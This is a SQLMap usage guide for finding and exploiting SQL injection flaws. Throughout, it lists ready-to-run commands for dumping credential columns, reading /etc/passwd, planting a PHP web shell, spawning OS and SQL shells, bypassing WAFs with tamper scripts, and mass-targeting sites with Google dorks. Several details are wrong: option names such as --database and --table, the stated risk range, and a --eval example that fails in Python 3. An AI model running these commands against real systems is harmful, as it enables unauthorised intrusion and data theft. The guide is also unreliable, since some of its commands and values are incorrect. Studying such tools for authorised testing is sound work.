Overview of SQLMap Capabilities

SQLMap is a powerful open-source penetration testing tool designed to automate the detection and exploitation of SQL injection flaws. It supports a wide range of database management systems, including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, and SAP MaxDB.

The tool facilitates five primary injection techniques:

• Boolean-based Blind: Infers data truthfulness based on HTTP response differances.
• Time-based Blind: Utilizes database time-delay functions to infer data when response content remains static.
• Error-based: Leverages database error messages returned in the HTTP response to extract data.
• UNION Query: Appends a UNION SELECT statement to retreive data from other tables.
• Stacked Queries: Executes multiple statements in a single database call.

Core Command-Line Configuration

The following sections detail essential parameters for configuring targets, requests, and optimization settings. Note that command structures may vary based on specific testing requirements.

Target Specification

At least one target definition is required to initiate a scan.

python3 sqlmap.py --url "https://example.org/vulnerable.php?product_id=10"
python3 sqlmap.py --bulk-file targets_list.txt
python3 sqlmap.py --google-dork "inurl:php?id=" --batch

Users can also load raw HTTP requests captured from proxies to preserve complex headers or session data.

python3 sqlmap.py --request raw_request.txt --force-ssl

Request Customization

Modifiers allow precise control over HTTP traffic generation.

• --data: Sends parameters via POST instead of GET.
• --cookie: Injects specific cookie values for session handling.
• --user-agent: Spoofs the browser identity; --random-agent selects a random string.
• --headers: Adds arbitrary HTTP headers to the request.
• --proxy: Routes traffic through an intermediary (e.g., Burp Suite).
• --delay: Introduces a pause between requests to avoid rate limiting.

Example of dynamic parameter evaluation:

python3 sqlmap.py --url "https://target.com/page.php?hash=abc" --eval "import hashlib; hash=hashlib.sha256('salt').hexdigest()"

Optimization and Performance

To accelerate testing, enable optimization flags.

python3 sqlmap.py --url "https://target.com/page.php?id=1" --optimizer --threads=5 --keep-alive

The --threads option increases concurrency, while --keep-alive maintains persistent TCP connections.

Injection and Detection Strategies

SQLMap allows fine-tuning of injection points and risk levels.

• --level: Increases the depth of testing (1-5). Higher levels test cookies and user-agents.
• --risk: Increases the aggressiveness of tests (0-3). Higher risks may cause data modification.
• --technique: Forces specific injection methods (e.g., T for time-based, U for UNION).
• --tamper: Applies scripts to obfuscate payloads and bypass filters.

Example of targeted parameter testing:

python3 sqlmap.py --url "https://target.com/search.php" --data "query=test" --param="query" --technique=BEUST

Data Enumeration and Extraction

Once a vulnerability is confirmed, various flags facilitate data retrieval.

• --banner: Retrieves the database version.
• --current-db: Identifies the current database name.
• --dbs: Lists all available databases.
• --tables: Enumerates tables within a specific database (-D).
• --columns: Lists columns within a specific table (-T).
• --dump: Extracts data from specified tables.

Example of extracting specific columns:

python3 sqlmap.py --url "https://target.com/login.php" --data "user=admin" --database=prod_db --table=users --columns="username,password" --dump

To retrieve row counts without dumping full content:

python3 sqlmap.py --url "https://target.com/item.php?id=5" --count --database=inventory

Advanced Post-Exploitation

SQLMap supports operations beyond data extraction, including file system access and OS command execution, provided the database user has sufficient privileges.

File System Operations

Read or write files on the database server.

python3 sqlmap.py --url "https://target.com/view.php?id=1" --file-read "/etc/passwd"
python3 sqlmap.py --url "https://target.com/view.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php"

Operating System Access

Execute system commands or spawn an interactive shell.

python3 sqlmap.py --url "https://target.com/view.php?id=1" --os-cmd "whoami"
python3 sqlmap.py --url "https://target.com/view.php?id=1" --os-shell

Windows Registry Access

For Windows-based backends, registry keys can be manipulated.

python3 sqlmap.py --url "https://target.com/view.php?id=1" --reg-read --reg-key "HKLM\Software\Target" --reg-val "Config"

Evasion and Integration Techniques

Modern web applications often employ WAFs (Web Application Firewalls). SQLMap includes tamper scripts to modify payload syntax.

python3 sqlmap.py --url "https://target.com/page.php?id=1" --tamper=space2comment,between,equaltolike --level=3

Common tamper scripts include:

• space2comment: Replaces spaces with /**/.
• randomcase: Randomizes letter casing (e.g., SeLeCt).
• charencode: URL encodes characters.

Integration with Proxy Tools

SQLMap can ingest requests captured by Burp Suite for complex authentication scenarios.

python3 sqlmap.py --request burp_request.txt --param="session_id"

For form-based authentication, automatic parsing is available:

python3 sqlmap.py --url "https://target.com/login" --forms --batch

Cookie and Header Injection

Increasing the test level allows injection into HTTP headers.

python3 sqlmap.py --url "https://target.com/dashboard" --cookie "session=abc123" --level=3 --tables

This command tests the cookie value for vulnerabilities while enumerating table names.

Privilege Escalation

If database credentials are known, direct connection allows for UDF (User Defined Function) injection.

python3 sqlmap.py --direct "mysql://root:password@10.0.0.5:3306/main_db" --udf-inject --sql-shell

This approach bypasses the web layer entirely to interact with the database service.